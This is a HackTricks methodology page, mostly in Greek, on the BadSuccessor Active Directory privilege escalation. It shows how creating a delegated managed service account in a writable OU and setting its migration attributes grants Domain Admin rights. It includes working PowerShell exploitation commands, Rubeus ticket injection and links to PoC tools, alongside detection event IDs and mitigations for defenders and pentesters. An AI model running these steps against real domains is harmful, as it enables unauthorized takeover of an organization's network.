hacktricks/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md

103 lines
7.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
{{#include ../../banners/hacktricks-training.md}}
## Overview
Delegated Managed Service Accounts (**dMSA**) είναι ο επόμενης γενιάς διάδοχος των **gMSA** που περιλαμβάνονται στα Windows Server 2025. Μια νόμιμη ροή εργασίας μετανάστευσης επιτρέπει στους διαχειριστές να αντικαταστήσουν έναν *παλιό* λογαριασμό (χρήστη, υπολογιστή ή λογαριασμό υπηρεσίας) με ένα dMSA διατηρώντας διαφανώς τις άδειες. Η ροή εργασίας εκτίθεται μέσω των PowerShell cmdlets όπως `Start-ADServiceAccountMigration` και `Complete-ADServiceAccountMigration` και βασίζεται σε δύο LDAP χαρακτηριστικά του **dMSA object**:
* **`msDS-ManagedAccountPrecededByLink`** *DN link* στον υπερκείμενο (παλιό) λογαριασμό.
* **`msDS-DelegatedMSAState`** κατάσταση μετανάστευσης (`0` = καμία, `1` = σε εξέλιξη, `2` = *ολοκληρωμένη*).
Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει **οποιοδήποτε** dMSA μέσα σε μια OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως *διάδοχο* του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA **κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού** έως **Domain Admin** αν ο λογαριασμός Administrator είναι συνδεδεμένος.
Αυτή η τεχνική ονομάστηκε **BadSuccessor** από την Unit 42 το 2025. Στη στιγμή της συγγραφής **δεν είναι διαθέσιμο** κανένα security patch; μόνο η σκληροποίηση των αδειών OU μετριάζει το ζήτημα.
### Attack prerequisites
1. Ένας λογαριασμός που *επιτρέπεται* να δημιουργεί αντικείμενα μέσα σε **μια Οργανωτική Μονάδα (OU)** *και* έχει τουλάχιστον ένα από τα εξής:
* `Create Child`**`msDS-DelegatedManagedServiceAccount`** object class
* `Create Child`**`All Objects`** (γενική δημιουργία)
2. Δικτυακή συνδεσιμότητα με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση).
## Enumerating Vulnerable OUs
Η Unit 42 δημοσίευσε ένα PowerShell helper script που αναλύει τους περιγραφείς ασφαλείας κάθε OU και επισημαίνει τις απαιτούμενες ACEs:
```powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
```
Κάτω από την επιφάνεια, το σενάριο εκτελεί μια σελιδοποιημένη αναζήτηση LDAP για `(objectClass=organizationalUnit)` και ελέγχει κάθε `nTSecurityDescriptor` για
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (object class *msDS-DelegatedManagedServiceAccount*)
## Βήματα Εκμετάλλευσης
Μόλις εντοπιστεί ένα εγ writable OU, η επίθεση είναι μόνο 3 εγγραφές LDAP μακριά:
```powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
```
Μετά την αναπαραγωγή, ο επιτιθέμενος μπορεί απλά να **logon** ως `attacker_dMSA$` ή να ζητήσει ένα Kerberos TGT τα Windows θα δημιουργήσουν το token του *superseded* λογαριασμού.
### Αυτοματοποίηση
Πολλές δημόσιες PoCs περιλαμβάνουν ολόκληρη τη ροή εργασίας, συμπεριλαμβανομένης της ανάκτησης κωδικού πρόσβασης και της διαχείρισης εισιτηρίων:
* SharpSuccessor (C#) [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
* BadSuccessor.ps1 (PowerShell) [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* NetExec module `badsuccessor` (Python) [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
### Μετά την εκμετάλλευση
```powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
```
## Ανίχνευση & Κυνήγι
Ενεργοποιήστε την **Επιθεώρηση Αντικειμένων** σε OUs και παρακολουθήστε τα εξής Windows Security Events:
* **5137** Δημιουργία του αντικειμένου **dMSA**
* **5136** Τροποποίηση του **`msDS-ManagedAccountPrecededByLink`**
* **4662** Συγκεκριμένες αλλαγές χαρακτηριστικών
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919``msDS-DelegatedMSAState`
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1``msDS-ManagedAccountPrecededByLink`
* **2946** Έκδοση TGT για το dMSA
Η συσχέτιση `4662` (τροποποίηση χαρακτηριστικών), `4741` (δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και `4624` (επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το **XSIAM** περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές).
## Μετριασμός
* Εφαρμόστε την αρχή της **ελάχιστης εξουσίας** μόνο αναθέστε τη διαχείριση *Λογαριασμού Υπηρεσίας* σε αξιόπιστους ρόλους.
* Αφαιρέστε το `Create Child` / `msDS-DelegatedManagedServiceAccount` από OUs που δεν το απαιτούν ρητά.
* Παρακολουθήστε τα IDs γεγονότων που αναφέρονται παραπάνω και ειδοποιήστε για *μη-Tier-0* ταυτότητες που δημιουργούν ή επεξεργάζονται dMSAs.
## Δείτε επίσης
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
## Αναφορές
- [Unit42 Όταν οι Καλοί Λογαριασμοί Γίνονται Κακοί: Εκμετάλλευση των Αντιπροσωπευτικών Λογαριασμών Υπηρεσίας](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
- [BadSuccessor.ps1 Συλλογή Εργαλείων Pentest](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
- [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
{{#include ../../banners/hacktricks-training.md}}